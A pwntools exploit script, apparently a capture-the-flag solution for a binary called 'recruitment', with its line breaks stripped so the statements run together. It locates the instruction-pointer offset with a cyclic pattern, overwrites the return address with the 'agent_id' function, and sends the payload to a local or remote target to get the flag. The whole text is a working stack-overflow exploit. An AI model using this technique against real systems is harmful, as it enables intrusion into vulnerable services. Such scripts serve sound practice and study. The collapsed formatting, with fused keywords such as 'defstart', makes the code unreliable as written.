from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)deffind_eip(payload):# Launch process and send payload p =process(exe) p.sendlineafter('>', payload)# Wait for the process to crash p.wait()# Print out the address of EIP/RIP at the time of crashing eip_offset =cyclic_find(p.corefile.read(p.corefile.rsp, 4))info('located EIP offset at {a}'.format(a=eip_offset))# Return the EIP offsetreturn eip_offset# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgcontinue'''.format(**locals())# Set up pwntools for the correct architectureexe ='./recruitment'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Enable verbose logging so we can see exactly what is being sent (info/debug)context.log_level ='debug'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Pass in pattern_size, get back EIP offsetoffset =find_eip(cyclic(100))# Start programio =start()# Build the payloadpayload =flat({offset: elf.symbols.agent_id})# Save the payload to filewrite('payload', payload)# Send the payloadio.sendlineafter('>', payload)# Get our flag!io.interactive()